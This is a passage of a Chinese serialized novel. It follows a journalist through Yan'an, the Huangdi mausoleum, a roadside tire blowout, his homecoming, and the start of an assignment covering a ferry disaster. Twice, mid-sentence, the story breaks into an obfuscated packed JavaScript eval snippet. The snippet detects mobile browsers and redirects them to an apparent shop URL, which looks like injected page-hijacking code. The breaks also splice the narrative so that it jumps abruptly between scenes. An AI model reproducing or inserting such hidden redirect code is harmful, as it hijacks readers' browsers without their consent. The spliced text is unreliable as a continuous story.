“早些年啊,”他吐出一口烟,“这山秃得,夜里狼嚎声能扎透被窝。下一场雨,黄泥汤子能把门槛埋了。老话说得好:种一坡,收一车,打一斗,煮一锅。” 老刘说话时手臂挥舞,叶葆启看见他右手缺了根小指。 “修地时让石头啃的,”老刘举起手,像展示一枚勋章,“不碍事。那指头埋在东边坡上了,现如今,那儿长出一片沙棘,秋后红艳艳的,好看得很。” 这话让叶葆启心里一揪。他挪了挪录音笔:“退耕还林后,最显眼的变化是啥?” “鸟多了,”老刘眼角的皱纹堆起来,“各种各样,名儿都叫不全。天不亮就吵吵,比公鸡还准时辰。”又补一句,“沟底也有了水,清凌凌的。我孙子能在里头摸泥鳅——我小时候,那沟旱得张嘴等雨哩。” 老刘媳妇端来蒸枣,枣肉软糯,甜得黏喉咙。叶葆启嚼着,忽然想起陈列馆里那些粗瓷碗——盛过野菜,盛过小米,盛过比粮食更金贵的念想。 老刘忽然起身:“我给同志唱一段。” 他没有伴奏,张口就唱。那声音是从胸腔里炸出来的,带着黄土的腥气,震得窑顶扑簌簌落土。老刘跺着脚,身子摇晃,窗外的山峦也跟着微微发颤。唱到最高处,他眼里有了水光——不是泪,是更深的东西,像地底下渗出来的盐碱水,咸的,涩的,又有点回甘。 那天夜里,叶葆启做了个清晰的梦。 他在无尽的窑洞长廊里走,每个窑洞都亮着灯。有的窑里,油印滚子吱呀呀地转;有的窑里,几个年轻人在争吵,影子投在弧壁上,大得吓人;有的窑里,女人纳鞋底,针穿过千层布,噗,噗,像心跳。 最深的那个窑洞,有个人伏案写字。 他想看清那人的脸,光却突然漫开,淹了一切。醒来时,枕上一片湿凉。窗外月光还满着,满得要溢出来。 他坐到桌前翻开本子。老刘的歌声还在耳蜗里回旋,窑洞的灯影在脑子里晃。他要写的不是报道,是引魂——把散在光阴褶子里的魂,引到日头底下晒一晒。 “在延安,”他写,“我撞见了时间的影子。它们不吓人,只静静立在你身后,看你怎么对待这片被汗水腌透的土地。” “老刘丢掉的手指,长成了沙棘林。这不是比方,是真事儿——骨血化成了草木,一个人的命融进了大地的轮回。那些文章里的念想呢?是不是也这样变了模样?从纸上的字,变成了坡上的树,变成了苹果,变成了老刘嗓子里那汪又咸又涩的水?” 他写得很慢,一个字一个字地刻,像在拓碑。 凌晨三点,他披衣出门。小院里空荡荡,月光把地皮漂成银灰色。他点了一支烟——这习惯是西行路上染的,在青海的寒夜里,烟头那点红,能暂时烫破无边的黑。 烟丝在月光里扭成奇怪的形状,先是直直往上,忽然打个旋儿,像个拿不定主意的魂。 父亲的脸在烟雾里浮现。不是病床上那张瘦脸,是更早的,戴着安全帽在工地上吆喝的脸。父亲很少提从前,只一次喝了酒,说:“五八年修路,遇上泥石流。三个工友埋里头了,扒出来时,身子还是温的。”父亲说这话时,手抖得厉害,“后来每下雨,就听见他们在山里头喊号子。” “后悔干这行不?”年轻的叶葆启问过。 “后悔?”父亲瞪大眼,“路通了,火车过去,整个山谷都在颤。那是活的颤,不一样的。” 此刻在陕北的月光下,叶葆启忽然懂了那“活的颤”。老刘的歌声、钢笔上的齿痕、窑洞壁上晃动的影、苹果树上青涩的果——都是同一种震颤,隔着年月传过来。 他掐灭烟头,火星在夜色里划了道弧,灭了。 回屋前,他又抬头看月亮。陕北的月亮真低,低得像挂在屋檐下的南瓜,熟透了,一碰就要淌下蜜来。都说月亮有轻有重,这里的月亮一定最沉——它驮着太多目光:夜里赶路人的目光,母亲等儿归的目光,还有此刻,一个握笔人试图辨认岁月的目光。 去黄帝陵的路上,他一直沉默。车过洛川,窗外苹果花开得正盛,白花花一片,像刚下过的薄雪。老陈在副驾上睡着了,鼾声轻轻起伏。 叶葆启想起昨夜写的句子:“念想不是颜色,是温度。在玻璃柜里,它是凉的;在老刘嗓子里,它是烫的;在苹果花瓣上,它是温的——刚好能让种子醒过来的温。” 他掏出手机,给妻子发了条信息:“明儿回。带了延安的枣,甜。” 妻子很快回:“儿子画了幅画,等你猜是啥。” 他笑了,眼眶却发酸。这两个月,他走了西边的山山水水,也走了一条时间的暗道。在内蒙古草原,他学会了看地平线——真正的、一无遮拦的地平线,看得人心里发空。在敦煌,他在莫高窟外坐了一夜,听风钻进洞窟呜咽,像无数和尚在念经。在青海的草原上,他躺下看银河,第一次觉得星星不过是些灰尘,而人连灰尘都不是。那些打算盘的年轻人,他们可曾在这星空下,想过红烧肉的滋味? 车颠了一下,老陈醒了:“到哪儿了?” “快到黄陵了。”司机说。 “黄帝陵啊,”老陈揉揉眼,“咱们这趟,从圣地到祖地,算是把根脉捋了一遍。” 说得在理。叶葆启想。黄帝陵是根 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16904187|192343||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,延安是路——一条从古走到今、踩满脚印的路。 黄帝陵的柏树是真的古。那种古是活的,树皮像龙鳞,树冠如云盖。他在轩辕庙前鞠了三躬,不是拜神,是拜时间——让柏树活五千年、让香火不断的时间。 祭祀场上,一群娃娃在朗诵。童音脆生生的,在古柏间撞来撞去。叶葆启看着他们红扑扑的脸蛋,忽然想:这些娃娃里,说不定就有老刘的孙子。他们的太爷爷也许垦过荒,爷爷修过梯田,父亲种着苹果树,而他们穿着整齐的衣裳,念着五千年前的文章。 这就是这片土地。一层压一层,一代叠一代,像黄土高原的地层。每一层里都埋着故事,等着被雨水冲出来,或者在月光下自己浮现。 他在本子最后一页画了条螺旋线,旁边写:“岁月不是直着走的,是打着旋儿往上爬。每个年代都会回到老问题上:人咋样活得像个人?但这回和上回不一样,像是在更高的地方答同一道题。” “延安的答案是‘为百姓做事’。老刘的答案是‘把秃山变绿’。我的答案呢?一个握笔的人——” 他停住了。这问题太大,得用一辈子去答。 临走前夜,延安落了雨。雨丝在月光里亮晶晶的,像谁在天上纺线。叶葆独走到延河边,河水黑沉沉的,雨点打出的涟漪一圈套一圈。 他想起陈列馆里一张照片:人们在河里洗衣裳,笑得牙白。照片是黑白的,但他能想象河水的温度——肯定凉得扎手,带着山雪的寒气。那些人后来去了哪儿?有多少躺进了不知名的山坳? 雨大了。他没躲,任雨点打在头上、肩上。在青海时,他也这样淋过雨。那时他忽然哭了,哭得毫无道理。老陈慌了,问咋了。他说不清,只觉得胸口有什么东西要破壳而出。 此刻在延安,那感觉又来了。不是难过,不是高兴,是一种更浑沌的涌动,像种子顶土,像河水开冻。 手机在兜里震。是儿子发来的画——三个歪歪扭扭的人,手拉手站在一朵巨大的向日葵下。画角用拼音写着:“爸爸快回来”。 叶葆启仰起脸,让雨和别的什么混在一起。他对着雨夜里的宝塔山轻声说:“我会好好写。写老刘,写苹果树,写生了锈的钢笔,写沙棘丛里那根手指。写月光咋样照透八十年的黄土。” 远处有信天游飘来,在雨声里断断续续,像历史本身——总是不全,总被风雨啃掉边角,但总有人在唱。 回到住处,他一夜没睡,把稿子重写了一遍。这回,他加上了老刘缺的手指,加上了梦里窑洞的蚕食声,加上了父亲说的泥石流,加上了儿子画的向日葵。写完最后一句,天蒙蒙亮了。雨停了,东山后渗出蟹壳青。 他推开窗,深吸一口气。雨后空气清冽,吸进肺里,凉丝丝的。这两个月走过的万里山河,好像都装进了这副身板里。 老陈来敲门:“收拾吧,车来了。” 叶葆启最后看了眼这间屋。床铺乱着,烟灰缸满了,桌上散着纸和书。这临时落脚处,就要变成记忆的一部分了。就像延安,对那些匆匆过客来说,也只是长途里的一个歇脚点——可正是这样的点,连成了路。 上车前,他回头望一眼晨光里的延安城。炊烟正从四面八方升起,新的一天开始了。八十年前的早晨,炊烟也是这样升起吗?那些喝稀粥、谈天说地的人,可曾想过八十年后,会有个握笔的人站在这里,试图咂摸他们那时的滋味? 车动了。黄土高原在窗外倒退,像翻动的书页。叶葆启闭上眼,感到一种奇异的平静。他知道,这次西行结束了,但有什么东西刚开了头——在心里,在笔尖,在往后要走的每一步路上。 月光褪尽了,但那个问题在晨光里越发清楚:一个握笔的人,该怎么讲这片土地的故事? 答案不在书里,不在纸上,在老刘缺了手指的手掌里,在沙棘丛的红果子里,在娃娃蜡笔画出的向日葵里,在每一层黄土埋下的脚印和念想里。 车拐过山弯,延安看不见了。叶葆启翻开本子,在最后一页添上一行: “握笔人要做的,是让睡了的光阴,在醒着的人间喘气。” 窗外,陕北的群山在朝阳下舒展筋骨,每一道沟壑都蓄满了光与影,仿佛大地的掌纹在晨风里缓缓张开,托着这个古老的国度,继续它螺旋向上的路。 36. 第036章 归尘记 黄土在晨曦中苏醒,细密的雨丝像天神的银针,将天地缝合。延安的窑洞还沉在昨夜的梦里,我们的越野车已如离弦之箭,射向那片传说中埋着华夏脐带的土地。叶葆启靠在车窗上,看着倒退的塬、梁、峁,它们像巨兽的脊背,在雨雾中一起一伏地呼吸。 摄影记者擦拭着镜头,突然说:“你们听说了吗?黄帝陵的柏树会唱歌。” 小刘握着方向盘笑:“又来了,你那些神神叨叨的故事。” “真的。”摄影记者认真地说,“守陵的老人告诉我,每逢甲子年的冬至夜,那棵五千年的手植柏会发出呜咽,像在讲述我们听不懂的往事。” 叶葆启没有接话。他正盯着窗外掠过的村庄,那些土坯房在雨中褪色成记忆里的水墨画。他想起了祖父——一个在胶东半岛教私塾的老先生,临终前握着他的手说:“启儿,文字是通灵的,你要去有灵的地方写。” 此刻,他正走向那个“有灵的地方”。 抵达黄陵县时,雨停了。天空裂开一道缝,阳光如金汁般浇在轩辕庙的琉璃瓦上。这里静得能听见自己的心跳,不,是大地的心跳——一种缓慢而沉重的搏动,从脚底传来,顺着脊椎爬上颅顶。 黄帝陵前的“黄帝手植柏”果然非凡。它不像一棵树,更像一座凝固的时间之塔。树皮皲裂如甲骨文,每道裂痕里都藏着秘密。叶葆启走近时,一阵眩晕袭来。 他看见了—— 不是用眼睛,是用脊梁骨上的某个尚未命名的感官。他看见一个披兽皮、束长发的高大身影,正将一株幼苗植入黄土。那人的手掌宽厚,指节粗大,覆在幼苗上的瞬间,泥土里窜出万千金色的根须,向四面八方延伸,穿过周原的青铜,穿过汉唐的丝绸,穿过宋元的瓷器,一直长到他此刻站立的地方。 “葆启?”摄影记者拍他的肩。 幻象消失了。但柏树的低语还在,不是声音,是某种振动,让他的牙齿微微发颤。 守陵的老人蹒跚而来,缺了门牙的嘴咧开笑:“记者同志,它认得你。” “什么?”叶葆启怔住。 “这棵柏树啊,五千年了,什么人没见过?”老人抚摸着树干,动作轻柔如抚摸婴儿,“但它只对有心人说话。你刚才是不是看见什么了?” 叶葆启不知如何回答。老人却自顾自说:“六十年前,有个写书的人也来过,叫沈从文。他在树下坐了一整天,临走时说:‘这不是树,是站着的黄河。’” 祭祀仪式简单而庄重。当香烛的青烟笔直升向苍穹时,叶葆启忽然明白祖父的话了——文字要通灵,写作者须先让自己成为导体,让土地的记忆流过身体,再凝成墨迹。 他跪在陵前,额头触地。冰凉的青石传递着无数先辈的体温。他在心里默默起誓:此番西行所见的一切,定不让其沦为纸上的死物。他要让戈壁的风在字里行间呼啸,让雪山的月光在段落间流淌,让牧民的歌声在标点间回荡。 起身时,一片柏叶飘落,正落在他掌心。叶脉纵横,恰如他刚刚走过的山川脉络。 归途被拉得很长,长得像一生。 越野车满载着西部的魂魄——大漠的风沙藏在座椅缝隙里,草原的草籽沾在轮胎花纹间,雪山的寒意渗进了空调系统。车每颠簸一次,就有些故事从行李袋的拉链缝隙溜出来,在车厢里飘荡。 小刘说:“我老觉得后座有人。” 摄影记者回头看看堆积如山的采访本和胶片:“是我们的影子太重了。” 叶葆启没有说,他确实听见了细碎的低语。有时是宁夏那位治沙老人沙哑的叮嘱:“娃娃,别忘了我们啊。”有时是青海藏族阿妈悠长的歌谣:“雪山不会老,故事不会完……”这些声音像远方的回响,在他的耳蜗里筑了巢。 距离内海还有三百公里时,天又开始下雨。不是西部那种爽利的雨,是中原地区黏腻的、缠绵的雨,像土地伸出的千万条触手,试图挽留这辆载着太多故事的车。 在一个弯道,左前轮发出了叹息。 不是爆裂的巨响,而是一声悠长的、近乎疲惫的叹息——“哧……”仿佛土地终于说出了那句憋了很久的话:别走,再留一会儿。 车辆猛地偏向左,小刘的吼声撕开车厢:“抓稳!” 世界在旋转。雨刮器疯狂摆动,像两个绝望的手臂。叶葆启看见挡风玻璃外的公路扭曲成一条湿漉漉的巨蟒,正在翻身。时间变慢了——慢到他能看清每一滴雨珠撞击玻璃时炸开的形状,慢到他能数清仪表盘上每一道颤抖的指针。 “要翻了!”摄影记者的声音从很远的地方传来。 但车没有翻。它剧烈颠簸了几下,像一匹中箭的马在咽气前最后的挣扎,然后缓缓滑向路边,停住了。寂静突如其来,只有雨敲车顶的鼓点,密集如心跳。 三人坐在车里,大口喘气。呼出的白雾在车窗上画出三个颤抖的圈。 “都没事吧?”叶葆启先开口,声音陌生得像别人的。 “没事……相机也没事。”摄影记者抱紧他的宝贝。 小刘趴在方向盘上,肩膀耸动。叶葆启以为他在哭,拍拍他的背,却发现他在笑,一种劫后余生的、近乎癫狂的笑:“哈哈哈……最后一哆嗦……土地爷爷不想放我们走啊!” 下车查看,左前轮已经瘪成一张绝望的嘴,轮毂边缘有新鲜的擦痕,像大地留下的齿印。更糟的是,千斤顶在多次高原救援后,螺纹已经磨平,它蹲在那里,像一只衰老的、再也站不起来的铁龟。 雨越下越大。天地间只剩下这一种声音,单调而执着,仿佛要把整个世界淹成泽国。 叶葆启决定徒步求援时,摄影记者想跟去,被他拦住了:“你留着,护好那些胶片。那些眼睛——那些我们见过的成千上万双眼睛——都在里面呢。” 他穿上雨衣,走进雨中。雨衣很快成了摆设,水从领口灌进去,顺着脊梁流下,冰冷如蛇。公路在雨雾中延伸,没有尽头,像一条通往幽冥的黄泉路。 走了多久?时间失去了意义。可能是二十分钟,也可能是二十年。鞋里灌满了泥水,每走一步都发出“咕唧”的哀鸣。他想起了青海的沼泽,想起了那个差点陷进去的黄昏,想起了伸手拉他的牧民那双布满老茧却异常温暖的手。 就在他几乎要放弃时,前方出现了光。 不是幻觉——是真实的、昏黄的、在雨中晕开的光,从几扇窗户里透出来。那是一座公路养护道班,低矮的砖房蹲在路边,像大地长出的瘤子,却在此刻成了诺亚的方舟。 敲门。开门的是个五十多岁的汉子,脸像被风雨雕刻过的崖壁,沟壑纵横。听明来意,他二话不说,回头吼了一嗓子:“老三!开上皮卡!有记者同志遇难了!” “遇难”这个词让叶葆启心里一颤。在西部,他们确实多次“遇难”——在沙漠迷路,在雪山遇险,在草原遭遇狼群——但每一次都化险为夷。也许这次爆胎,是西部之行最后的考验,是土地要看看他们究竟带走了什么,又留下了什么。 皮卡里挤了三个人:开车的汉子、他的儿子、还有一条黄狗。狗很老了,毛色黯淡,但眼睛清亮,它盯着叶葆启看了一会儿,突然“汪”了一声,尾巴轻轻摇动。 “老黄认得你。”汉子说,“它一般不冲好人叫。” 路上,汉子自我介绍姓郝,在这条路上养了三十年路。“见过的事多了。”他说,“有一年大雪,一辆客车滑进沟里,我们刨了六个小时,救出二十三人。还有一年山洪,路基冲垮了半里地,我们三天三夜没合眼……” 皮卡的大灯切开雨幕。那束光里,雨丝变成了金线,公路变成了流淌的河。叶葆启忽然想起敦煌壁画上的“飞天”,那些衣带飘飘的神女,是不是也在这样的光里飞舞? 回到故障点,救援利落得惊人。岳师傅带来的千斤顶是个健壮的小伙子,“嘿哟”一声就把车顶了起来。换胎时,他摸着轮毂上的擦痕说:“土地爷留情了,只蹭了点皮。要是翻下去,下面可是深沟。” 备胎换好,叶葆启掏钱包,岳师傅按住了他的手。雨已经小了,他的眼睛在昏黄的车灯下闪着光:“记者同志,你们从西边回来?” “是,走了六省区。” “那就对了。”岳师傅点起一支烟,“西边的魂重,路就难走些。这不是坏事——土地留你,是看得起你。钱不能收,收了就俗了。要是心里过不去,就把我们的故事也写进去。养路工的故事,也是中国的故事。” 皮卡消失在雨幕中。叶葆启站在原地,手里攥着没能送出去的三百元钱。那钱渐渐变重,重得像一块碑。 重新上路后,车厢里多了些什么。 是岳师傅的那支烟的余味?还是老黄狗眼神里的信任?叶葆启说不清,但他感觉到,车变得轻了——不是重量减轻,而是一种灵魂上的轻盈,仿佛土地终于完成了交接仪式,将那些托付给他们的故事正式过户到了他们的血脉里。 抵达内海市界时,凌晨三点。城市在沉睡,路灯像守夜人困倦的眼睛。小刘开得很慢,慢到能看清早市摊主开始摆摊的动作,慢到能听见清洁工扫帚划过地面的沙沙声。 “像做梦一样。”摄影记者喃喃道,“出去了五十五天,感觉像出去了半辈子。” 报社大院出现在视野里。门卫老赵居然没睡,站在岗亭外抽烟,看见车灯,他把烟一扔,朝里面挥手。 然后叶葆启看见了他们—— 总编辑、办公室的同事,二十几个人,站在凌晨的寒露里,像一组等待主角归来的雕塑。女同事还抱着保温桶,白气从缝隙里袅袅升起。 车停稳。世界静止了三秒。 然后总编辑第一个冲过来——真的是冲,这个五十多岁、一向稳重的总编辑,跑得像个小伙子。他握住叶葆启的手,那双手在颤抖:“葆启!葆启!回来了!都回来了!” 陈秉烛什么也没说,只是用力拍每个人的肩膀,一下,两下,三下,像在确认这是真实的□□,不是幻影。他的眼镜起了雾,但他没摘。 同事们围上来,七手八脚地卸行李。那些沾着西部泥土的背包、捆扎得严严实实的采访本、贴满标签的磁带、还有摄影记者死活要自己抱的相机包——它们从越野车里被传递出来,像新生儿被传递出产房。 “小心!这里面是昆仑山的石头!” “这包胶片不能倒置!” “我的笔记本!我的宝贝笔记本!” 混乱中,叶葆启突然想起西部的一个画面:在喀什的大巴扎,他看到一群商人正从骆驼背上卸货。那些裹着羊毛毯的货物被小心翼翼地传递,仿佛每一件都装着某个远方家庭的生计。此刻的场景何其相似——他们卸下的不是行李,是一整个西部的缩影。 总编辑大声宣布:“放假一周!带薪的!不,十天!回家好好休息,陪陪老婆孩子!” 人群响起欢呼。但叶葆启注意到,总编辑的眼睛红了。这个以严厉著称的老报人,此刻像个接儿子回家的父亲。 同事散去后,叶葆启一个人站在大院中央。 他回望那辆越野车。在晨曦的微光里,它伤痕累累,却威风凛凛。保险杠上有戈壁石头的刮痕,车顶行李架被雪山的风吹得有些歪,车窗上还沾着草原的草籽——这些不是破损,是勋章。 他走近,抚摸车门。金属冰凉,但某一瞬间,他感觉它在微微颤动,像一匹老马在梦中奔跑。他想起在可可西里,这辆车曾与藏羚羊群并行;想起在河西走廊,它顶着十级风沙前行;想起在川西高原,它爬过四十五度的陡坡…… “老伙计,你也累了。”他轻声说。 车没有回答。但引擎盖上的一滴露珠滚落,像一滴沉默的泪。 转身时,他看见了大院门口的身影。 素琴穿着那件他熟悉的浅蓝色衬衫——三年前他获奖时她穿的那件。她站着,双手紧握放在身前,这个姿势她保持了多久?十分钟?一小时?从接到报社电话说“他们快到了”开始? 儿子叶舟已经长得这么高了?才两个月,少年就像雨后的春笋,一节一节往上蹿。他挥舞着手臂,嘴巴张合,但叶葆启听不见声音——世界突然失了声,只剩下心跳,他自己的,和从远方带回的千万颗心跳的余音。 然后声音回来了,像闸门突然打开。 “爸!爸!你可回来了!” 叶舟冲过来,差点把他撞倒。少年的手臂有力得像小牛犊,箍得他肋骨生疼。但他疼得高兴,疼得真实——这是人间的疼,不是西部那些生死边缘的、冰冷的疼。 素琴走过来,一步,两步,三步。她的眼泪已经流干了,只剩下微微浮肿的眼皮和嘴角努力挤出的笑。她伸手,不是拥抱,而是轻轻拂去他肩头的一片枯叶——一片来自黄帝陵的柏树叶,居然一路跟他回到了内海。 “回家了。”她说。只有三个字,却像一句咒语,解开了他身上所有的束缚。 回家的车上,叶舟叽叽喳喳:“爸,你去了罗布泊吗?真有楼兰美女吗?你遇到狼了吗?吃糌粑了吗?拉肚子了吗?” 问题像连珠炮。叶葆启耐心回答,但说着说着,他会突然停顿——因为某个问题勾起了某个画面:那个在沙漠边缘种树的老人,他的脸像龟裂的土地;那个在毡房里给他倒奶茶的哈萨克妇女,她的手粗糙但温暖;那个在玉门关遗址吹埙的年轻人,他的眼睛望着远方,像望着两千年前的烽火…… 素琴一直沉默,只是握着他的手。她的手在微微颤抖,通过皮肤,那颤抖传遍他全身。他忽然明白,这五十五天,她也在进行一场远征——在思念的戈壁里跋涉,在担忧的雪山上攀登,在等待的草原上守望。 到家了。熟悉的楼道,熟悉的水磨石台阶,熟悉的门上贴着的褪色春联。钥匙插进锁孔的声音,如此平常,又如此神圣。 门开。家的气味扑面而来——不是西部那种旷野的气味,是拥挤的、温暖的、人间烟火的气味:昨天剩菜的油味,阳台上洗衣粉的清香,书 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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果然,不到两小时,第一批报纸售罄。加印,再售罄。报社的热线电话响个不停,有读者问:“青海那个治沙老人的地址能告诉我吗?我想寄点钱。”有学校问:“能请记者来我们学校讲座吗?”有作家打电话来:“你们写塔里木河的那篇,让我想起了沈从文的《长河》……” 总编辑在办公室里踱步,像喝醉了酒:“成了!葆启,你们成了!总社社长亲自打电话表扬,说这是‘新时代的西行漫记’!” 但叶葆启最在意的不是这些。他在意的是那个下午,他在菜市场看见的一幕:一个卖菜的大妈,一边择豆角一边看报纸,看着看着,眼泪掉了下来。她指着报纸上的照片——那张宁夏西海固母子三人共用一本课本的照片——对旁边人说:“我小时候也这样……我弟妹三人,就一本算术书……” 那一刻,叶葆启知道,他们真的把西部带回来了。不是作为猎奇的风景,不是作为遥远的故事,而是作为一块活的、会疼的、会呼吸的中国血肉,接驳进了这座沿海城市的身体里。 报道结集成书的那天,出版社搞了个小仪式。叶葆启在扉页上写了一句话:“谨以此书,献给所有在辽阔中坚守、在荒凉中绽放的生命。” 摄影记者在旁边看着,突然说:“葆启,你还记得黄帝陵那棵柏树吗?” “记得。” “我后来做了一个梦。”摄影记者声音很低,“梦见那棵树对我说:‘你们带走的,不是故事,是我的根须。现在,它们要在东边发芽了。’” 总结表彰大会在大礼堂举行。镁光灯闪烁,掌声如潮。采访组被授予集体一等功,每人胸前都挂上了沉甸甸的奖章。 轮到叶葆启发言。他走上台,看着台下黑压压的人群。突然,一阵眩晕袭来——不是低血糖,是时空错位的晕眩。 他看见了—— 不是幻觉,至少不全是。他看见台下坐着的不只是内海的同事领导,还有那些他采访过的人:青海的老牧人扎西,脸上高原红像两团永不熄灭的火;宁夏的治沙老人马大爷,手里还攥着一把黄沙;喀什的乐器匠人阿卜杜拉,手指无意识地做着弹拨动作;川西的乡村教师,眼镜后的眼睛依旧清澈…… 他们坐在那里,安静地、微笑着看着他。 叶葆启深吸一口气,对着真实和虚幻的听众说: “这次西行,我们走了三万二千里。但最远的距离不是里程表上的数字,是从‘观看’到‘懂得’的距离。” 他讲了一个故事。在塔克拉玛干边缘,他们遇到一个维吾尔族老人,老人请他们吃西瓜。沙漠里的西瓜,甜得像蜜。临走时,老人说:“记者巴郎子,你们吃了我的瓜,就要带走我的故事。故事比瓜种,更能抵抗干旱。” “我们带回了无数这样的故事。”叶葆启继续说,“但我们渐渐明白,我们不是在‘采集’故事,而是在为这片辽阔的土地搭建一座桥——一座让东部听见西部呼吸、让城市触摸乡村脉搏、让当下连接古老记忆的桥。” 掌声中,他望向窗外。内海的天空湛蓝,但此刻,他看见那蓝与青海湖的蓝、与赛里木湖的蓝、与纳木错的蓝交融在一起,汇成一片无边无际的、属于整个中国的蓝。 散会后,叶葆启一个人走到报社顶楼的天台。 已是黄昏。西边的天空正在燃烧——那是他熟悉的、西部的黄昏,浓烈得像打翻的调色盘。但东边的海平面平静如镜,倒映着初升的星辰。 他点了一支烟——这个在西部学会的习惯。烟雾缭绕中,他看见两个自己:一个站在天台上,一个还站在戈壁的风里;一个穿着整洁的衬衫,一个裹着满是尘土的军大衣;一个听着城市的车马喧,一个听着远方的驼铃悠扬。 但这两个都是真实的他。西行的意义不是取代,是拓展——将生命的边界向西延伸,直到触及那片土地最坚韧的神经末梢。 手机响了,是儿子:“爸,妈做了你最爱吃的红烧鱼,快回来!” “好,马上。” 挂掉电话,他最后看了一眼西方。夜色吞没了最后一抹霞光,但那些山、那些河、那些人,已经在他的血管里亮起了灯。 万里归来,他仍是那个热爱文字的记者。但笔墨间,从此有了风沙的粗粝、雪水的清冽、草原的辽阔、沙漠的孤寂。他的笔不再是笔,是一把犁——要翻开板结的认知,种下理解的种子。 下楼时,他遇见总编辑。老总编拍拍他的肩:“下一站想去哪儿?” 叶葆启想了想,说:“还没想好。但无论去哪儿,我都会记得——最好的新闻,不是写出来的,是走出来的;最真的中国,不是看出来的,是疼出来的。” 走出报社大门,城市的霓虹初上。在这片人造的光海里,他仿佛看见了另一种光——那是牧民帐篷里的酥油灯,是石油工人头盔上的矿灯,是边关哨所永不熄灭的国旗灯。 它们都在他的笔下,等待被点亮。 而他的长征,刚刚开始。 37. 第037章 未央的灯塔 西部归来的风沙还黏在鞋缝里,尚未被南方的潮气完全濡软,一种来自北方海域的、带着盐腥与铁锈气息的悲讯,便顺着看不见的电波与暗流,汹涌地漫进了《内海都市报》的编辑部。那是一种比寒流更先抵达的颤栗。 时近岁末,天色常是铅灰的,云层低垂,仿佛吸饱了墨汁的旧棉絮,沉甸甸地压在城市上空。具体是哪一日,后来在叶葆启的记忆里有些模糊了,只记得是个雾气初凝的午后,电话铃声响得格外尖利,像一把冰锥,刺破了编辑室惯有的、带着油墨味的嘈杂。关于一艘客轮的消息,碎片似的,夹杂着“风浪”、“火”、“倾侧”几个灼人的字眼,在有限的、压低了声音的交谈中迅速传递。一种巨大的、不祥的宁静笼罩下来,连翻动稿纸的窸窣声都消失了。总编老陈从玻璃隔间里走出来,脸色是同窗外天色一般的灰败,他目光扫过众人,最后钉在叶葆启身上,那目光里有重量,也有复杂的托付。 “葆启,你,带上王皓和小周,立刻动身。”老陈的声音沙哑,每个字都像从砂纸上磨过,“去北边,靠海的那个地方。能靠近多少,就靠近多少。多看,多听……但也,多思量。” 没有更明确的指令。但叶葆启懂。他站起身,脊椎骨节似乎发出轻微的咯响,那是西部颠簸留下的旧账,也是新担子压上来的征兆。王皓,那个总爱蹙着眉头思考、笔下却能生花的年轻记者,默默开始收拾笔记本和钢笔;周占卡,壮实得像座小塔的摄影记者,已经将他那台老旧的、贴满胶布的相机紧紧抱在怀里,像是抱着一件武器,或是一个婴孩。 行程是仓皇的。飞机穿透厚重的云层,舷窗外是无穷无尽的、翻滚的灰白。叶葆启靠窗坐着,凝视那仿佛凝固的云海。这景象竟有些像海,一片死寂的、没有生命的海。他莫名想起童年时听过的志怪故事,说深海之下有归墟,天下之水皆注焉,而无增无减。那么,那些骤然消逝的生命,是否也流向了某个看不见的归墟?这念头让他一阵心悸。王皓在一旁,手指无意识地敲击着膝盖,那是他紧张时思考的习惯;周占卡则一直望着前方虚空处,嘴唇紧抿,腮边的肌肉微微抽动。 抵达时,与其说是一座城市,不如说是一片被巨大悲伤浸泡的、潮湿的实体。空气是咸的,冷冽的,吸进肺里像含着细小的冰针。那不是单纯的寒冷,那寒冷里搅拌着呜咽的海风、焚烧未尽的气息,还有一种更虚无的、属于众多灵魂骤然离析后的空洞回响。雨丝斜织,不是落,是飘,是粘,无处不在,企图将一切都裹进它灰蒙蒙的襁褓里。 他们试图靠近那个名义上的中心——港务大楼。那里人影幢幢,车辆进出肃穆,身着各式制服的人们步履匆匆,脸上都戴着同一种名为“严峻”的面具。警戒线拉了一圈又一圈,像是给一个流血的巨大伤口缠上绷带,禁止任何未经许可的目光触碰其下的溃烂与狰狞。语言在这里被规范、被消毒、被压缩成短短几行通报的字句,干涩得像曝晒过度的海带。 “此路不通。”周占卡扛着相机,望着远处模糊的海岸线轮廓,低声说。他的声音闷闷的,被湿冷的空气吸收了大半。 叶葆启没有答话。他嗅着风里的味道,那不仅仅是海腥。有一种焦糊味,很淡,却顽强地钻入鼻腔,附着在黏膜上,挥之不去。他想起多年前采访过的一场矿山事故,井口飘出的,也是类似的气味,那是物质非正常毁灭留下的签名。 “走,”叶葆启转身,朝与大楼相反的方向迈步,“贴着海的边沿走。总有些东西,是圈不住的。” 他们离开大道,钻进崎岖的小径,踩着湿滑的、沾满褐色海藻的礁石。雾气更浓了,海天一色,皆沦为茫茫的灰白。世界失去了远近的尺度,近处的石头轮廓模糊,远处的灯塔光晕只是一团昏黄的、颤抖的虚影。在这片混沌里,声音却异常清晰起来:海浪永无休止地拍打、撕扯岸基的呜咽,风穿过岩缝发出的尖锐哨音,还有……隐约的、被风揉碎的人声。 在一处背风的湾岬,几尊黑影立在礁石上,一动不动,仿佛本身就是礁石的一部分。走近了,才看清是几个渔民。他们披着厚重的、泛着盐霜的胶皮雨衣,戴着耷拉下帽檐的旧毡帽,面孔藏在一片阴影里,只有烟斗或纸烟明灭的一点暗红,标示着生命的存在。他们望着海,那种望法,不是渔人看潮汛、辨方向的望,而是一种空洞的、近乎吞噬的凝视,仿佛要将眼前这片雾障望穿,直看到那幽暗的海底去。 